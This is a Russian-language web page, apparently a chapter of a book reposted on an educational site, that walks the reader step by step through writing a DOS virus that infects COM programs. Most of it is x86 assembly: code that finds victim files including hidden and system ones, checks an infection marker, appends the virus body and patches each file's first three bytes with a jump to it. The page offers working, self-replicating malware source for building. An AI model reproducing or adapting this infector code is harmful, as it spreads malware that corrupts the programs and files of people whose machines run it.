Заглавная страница Избранные статьи Случайная статья Познавательные статьи Новые добавления Обратная связь FAQ Написать работу КАТЕГОРИИ: АрхеологияБиология Генетика География Информатика История Логика Маркетинг Математика Менеджмент Механика Педагогика Религия Социология Технологии Физика Философия Финансы Химия Экология ТОП 10 на сайте Приготовление дезинфицирующих растворов различной концентрацииТехника нижней прямой подачи мяча. Франко-прусская война (причины и последствия) Организация работы процедурного кабинета Смысловое и механическое запоминание, их место и роль в усвоении знаний Коммуникативные барьеры и пути их преодоления Обработка изделий медицинского назначения многократного применения Образцы текста публицистического стиля Четыре типа изменения баланса Задачи с ответами для Всероссийской олимпиады по праву Мы поможем в написании ваших работ! ЗНАЕТЕ ЛИ ВЫ?
Влияние общества на человека
Приготовление дезинфицирующих растворов различной концентрации Практические работы по географии для 6 класса Организация работы процедурного кабинета Изменения в неживой природе осенью Уборка процедурного кабинета Сольфеджио. Все правила по сольфеджио Балочные системы. Определение реакций опор и моментов защемления |
Восстанавливаем зараженную программуСодержание книги
Поиск на нашем сайте
Как было указано в 1.3 (п.1), вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байтa (не на диске, а только в памяти!). Пусть вирус хранит исходные три байта в области "old_bytes". Итак: fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],alВы конечно знаете,что в COM - программе при ее загрузке по адресу CS:100h всегда находится первая исполняемая команда. В остальном работа фрагмента ясна. Запоминаем содержимое DTA Data Transfer Arrea (DTA) является одной из служебных структур MS DOS. Эта область находится в PSP по смещению 80h, и активно используется последней при работе с файлами. Например,многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого. Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA. Так как наш вирус будет использовать при заражении и поиске файлов функции DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее всего, не будет нормально работать.Поэтому содержимое DTA необходимо сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta": mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA;байт и перено- mov ds:[si],al;сим его в мас-;сив... inc bx;К новому байту inc si; loop save_dta;Цикл 128 разРабота фрагмента пояснений не требует... Ищем подходящий файл Теперь самое время заняться поиском файла для заражения. Для поиска файла - жертвы мы будем использовать пару функций DOS: 4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение. Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh. А теперь приведем программный фрагмент, выполняющий поиск файла: find_first: mov ah,4eh;Поиск первого;файла... mov cx,00100110b;archive, system;hidden lea dx,maska;Маска для поис-;ка int 21h jnc r_3;Нашли! jmp restore_dta;Ошибка! find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл... jnc r_2 jmp restore_dta;Файл нельзя за-;крыть! r_2: mov ah,4fh;И найдем сле- int 21h;дующий... jnc r_3;Файл найден! jmp restore_dta;Ошибка! r_3: mov cx,12;Сотрем в буфере lea si,fn;"fn" имя пред- destroy_name:;ыдущего файла mov byte ptr [si],0; inc si; loop destroy_name;Цикл 12 раз... xor si,si;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh];фер имя только cmp al,0;что найденного;файла... je open;В конце имени в mov byte ptr ds:fn[si],al;DTA всегда сто- inc si;ит ноль, его мы jmp copy_name;и хотим достичьИмя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND.COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область " fn ", и она примет вид: WINMAND.COM. Такого файла на диске, скорее всего, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закончит работу. Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore_dta". Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало. 1.10 Читаем исходные три байта Итак,вирус нашел COM - программу, которую теперь следует заразить. Но сначала необходимо сохранить первые три байта этой программы (см. 1.3, п.4). Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn". open: mov ax,3d02h;Открыть файл;для чтения и;записи... lea dx,fn;Имя файла... int 21h; jnc save_bytes jmp restore_dta;Файл не откры-;вается! save_bytes:;Считаем три;байта: mov bx,ax;Сохраним дес-;криптор в BX mov ah,3fh;Номер функции mov cx,3;Сколько байт? lea dx,old_bytes;Буфер для счи-;тываемых данных int 21h jnc found_size jmp close;Ошибка!Приведенный фрагмент помещает прочитанную информацию в область "old_bytes". Остальное ясно из комментариев. Выполняем необходимые расчеты В этом пункте мы покажем, как вирус проводит расчет корректирующего числа для регистра DS (см. 1.4), а также смещения на свой код. Напомним, что это смещение записывается в начало заражаемого файла и зависит от его длины. Исходной величиной для расчета служит длина заражаемого файла,которую DOS вместе с именем найденного файла и рядом других его характеристик помещает в DTA. Размер записывается в DTA по смещению 01Ah (младшее слово) 1Ch (старшее). Так как длина COM - файла не может быть больше 65535 байт, она помещается в младшее слово целиком.А слово по смещению 01Ch обнуляется! Вышеуказанные расчеты можно произвести следующим образом: Вы уже, конечно, поняли,что вирус будет округлять размер заражаемой программы до целого числа параграфов в большую сторону. Например, пусть файл имеет длину 401 байт. Тогда вирус запишет в DI значение 416 (25 целых параграфов, и еще один байт даст округленное значение 416). В "new_bytes" запишется число: 416 - 3 = 413, а в "add_to_ds" будет помещено значение: 26 - 1 = 25. Чтобы лучше понять работу фрагмента,рекомендую вам посмотреть пункт 1.6. И еще - подумайте, зачем нужна команда " dec ax ". Надеюсь, вы без труда в этом разберетесь! Проверяем файл на зараженность Мы, кажется, слишком увлеклись работой и не заметили одной очень важной детали. Ведь может случиться, что найденный нами файл уже заражен предлагаемым вирусом, а мы об этом даже не догадываемся! Поэтому наш вирус заразит эту программу еще раз. В принципе,количество заражений ничем не ограничено. Программа будет расти, пока не достигнет размера более 65535 байт, а после этого перестанет работать. Чтобы такого не произошло, введем проверку на зараженность. Например, в конец каждого заражаемого файла будем записывать цифру " 7 ", а при заражении проверять ее наличие. Итак: mov ax,4200h;Установим ука- xor cx,cx;затель на пос- dec si;ледний байт mov dx,si;файла... int 21h jnc read_last jmp close;Ошибка! read_last:;И считаем этот mov ah,3fh;байт в ячейку mov cx,1; " last "... lea dx,last int 21h jc close;Ошибка! cmp last,'7';" last " =" 7 " jne write_vir;Нет - дальше jmp find_next;Да- поищем дру-;гой файл...Можно, конечно,провести более совершенную проверку зараженности,нашей же целью было просто показать, как защитить файлы от повторного заражения. Читатель при желании сам легко внесет необходимые изменения в создаваемую программу. Заражаем COM - программу Наконец, подходящий для заражения COM - файл найден. Он еще не заражен нашим вирусом и имеет приемлемый размер. Поэтому самое время заняться заражением. Этот процесс описан в 1.3 (см. п.3 и п.4). Здесь мы только его реализуем: write_vir: mov ax,4200h;Установим ука- xor cx,cx;затель на конец mov dx,di;файла... int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,vir_len;код вируса дли- lea dx,vir;ной vir_len int 21h jc close;При ошибке -;закроем файл write_bytes: mov ax,4200h;Установим ука- xor cx,cx;затель на нача- xor dx,dx;ло файла int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,3;первые три бай- lea dx,new_bytes;та (команду int 21h;перехода)... close: mov ah,3eh;Закроем зара- int 21h;женный файл...При записи первых трех байт в файл помещается команда перехода на код вируса. Все остальное можно понять из приведенных комментариев. Восстанавливаем DTA Для корректной работы зараженной программы восстановим ее DTA. Напомним,что вирус " прячет " ее в массиве "old_dta". Поэтому: restore_dta: mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива dta_fresh: mov al,ds:[si];Читаем из мас-;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено-;сим его в DTA inc bx;К новому байту inc si; loop dta_fresh;Цикл 128 раз
|
||||
Последнее изменение этой страницы: 2016-07-16; просмотров: 393; Нарушение авторского права страницы; Мы поможем в написании вашей работы! infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.136.18.192 (0.01 с.) |